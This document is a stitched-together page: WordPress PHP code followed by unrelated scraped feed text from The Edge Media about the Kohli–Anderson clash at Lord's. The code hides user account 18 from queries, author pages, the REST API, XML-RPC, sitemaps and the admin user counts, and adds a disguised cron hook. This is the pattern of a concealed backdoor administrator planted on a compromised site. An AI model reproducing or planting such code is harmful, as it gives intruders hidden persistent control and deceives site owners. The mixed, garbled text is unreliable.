add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Not going to take a backward step when provoked” : Virat Kohli appeared first on The Edge Media.
]]>“Day 5 of the second Test showed this team is not going to take a backward step when provoked,” said Kohli on Tuesday.
When asked as to what exactly provoked India at Lord’s, Kohli said: “I can’t give you the details of what was said on the field at Lord’s. What’s said on the field gives you extra motivation… It is what you do after that situation is what matters.”
Bumrah and Mohammed Shami shared an unbeaten 89-run stand for the ninth wicket in the second innings as India set England 272 runs to win on Day 5.
England tactics of consistently bowling short to India’s No.10 and 11 were criticised by experts and fans, including legendary spinner Shane Warne.
Root later admitted to having erred on the field on that final day.
England’s short-ball ploy was apparently in response to Bumrah bowling short to Anderson in the first innings.
Anderson spoke about facing up to Bumrah during that menacing spell late on Day 3 and said he has “not felt like this ever”, suggesting Bumrah wasn’t trying to get him out.
After that I have not felt like this, I don’t think ever in my career, I felt like he wasn’t trying to get me out. He bowled an over that was maybe 10, 11, 12 balls, bowling no ball after no ball, and bowling short. I think he bowled two on the stumps, which I managed to dig out,” Anderson told BBC podcast ‘Tailenders’.
The post “Not going to take a backward step when provoked” : Virat Kohli appeared first on The Edge Media.
]]>The post India vs England: ‘This Isn’t Your Fu**ing Backyard,’ Virat Kohli and James Anderson said in War of Words appeared first on The Edge Media.
]]>“Are you swearing at me once more?”, Kohli said to Anderson, “this isn’t your fu**ing backyard”. Even as Anderson responded with a few words. After the fifth delivery, India captain Virat Kohli proceeded to mock Anderson, saying, “chirp chirp chirp. This is what becoming older does to you”.
The post India vs England: ‘This Isn’t Your Fu**ing Backyard,’ Virat Kohli and James Anderson said in War of Words appeared first on The Edge Media.
]]>